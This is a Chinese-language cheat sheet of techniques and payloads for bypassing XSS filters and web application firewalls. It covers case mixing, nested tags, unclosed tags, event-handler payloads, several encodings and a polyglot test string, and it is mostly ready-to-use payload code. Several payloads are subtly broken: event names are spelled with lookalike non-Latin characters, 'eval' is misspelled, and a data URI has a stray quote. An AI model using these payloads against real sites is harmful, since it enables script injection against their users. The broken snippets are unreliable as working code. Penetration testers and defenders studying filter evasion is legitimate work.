XSS常见的绕过手法
大小写绕过
HTML对标签大小写不敏感,可以利用大小写混用绕过
例如:<script>改为<ScRiPt>
双写绕过
有些情况的规则会将黑名单标签替换为空,可以利用这一点构造标签
例如:<script>改为<scr<script>ipt>
同理某些注释符在规则中也会替换为空,这时候可以利用它构造payload
例如:<script>改为<scr<!---test--->ipt>
开口标签
在某些特殊环境,由于html代码补全机制,可以故意不闭合标签绕过黑名单检测
例如:<script>改为<script
空格回车TAB
例如:js伪协议javascript:alert('xss');可以改为java script:alert('xss');
等
其他非黑名单标签和事件
<img>
payload:<img src=1 οnerrοr=alert("xss");>
<input>
payload: <input onfocus="alert('xss');">
<input οnblur=alert("xss") autofocus><input autofocus> #竞争焦点,触发onblur事件
<input onfocus="alert('xss');" autofocus> #通过autofocus属性执行本身的focus事件
<details>
payload: <details ontoggle="alert('xss');">
<details open ontoggle="alert('xss');"> #使用open属性触发ontoggle事件
<svg>
payload: <svg οnlοad=alert("xss");>
<iframe>
payload: <iframe οnlοad=alert("xss");></iframe>
<body>
payload: <body/οnlοad=alert("xss");>
编码转义
base64编码
payload: <script>eavl(atob("PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg=="));</script> #eval()用于将字符串当作程序执行,atob()用于解密base64
<a href="data:text/html;base64",PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">1</a>
JS编码
Uncode编码
\u00+16进制
JS环境中,利用String.fromCharCode函数将 Unicode 编码转为字符
16进制
\x+16进制
html实体编码
&#+10进制/16进制+;
一些特殊过滤情况
用/
代替空格
用反引号代替括号、双引号
用throw代替括号
用html实体编码:
代替冒号
用jsfuck编码绕过大部分字符过滤
……
一些思维导图
总结
一般xss的防护手段主要是过滤或转义敏感字符、标签,针对不同情况看人下菜,首先可以利用常见payload或枚举一些敏感字符、标签,查看是否有waf以及拦截情况去猜测规则对哪些输入做了限制,对不同的限制利用不同的方式进行绕过。
一些参考链接
https://www.cnblogs.com/sfsec/archive/2021/08/23/15178028.html
https://www.fujieace.com/penetration-test/xss-100.html
强防御下的XSS绕过思路
快速检查payload:
‘;alert(String.fromCharCode(88,83,83))//’;alert(String.fromCharCode(88,83,83))//”;
alert(String.fromCharCode(88,83,83))//”;alert(String.fromCharCode(88,83,83))//–
></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
”;!–”<XSS>=&{()}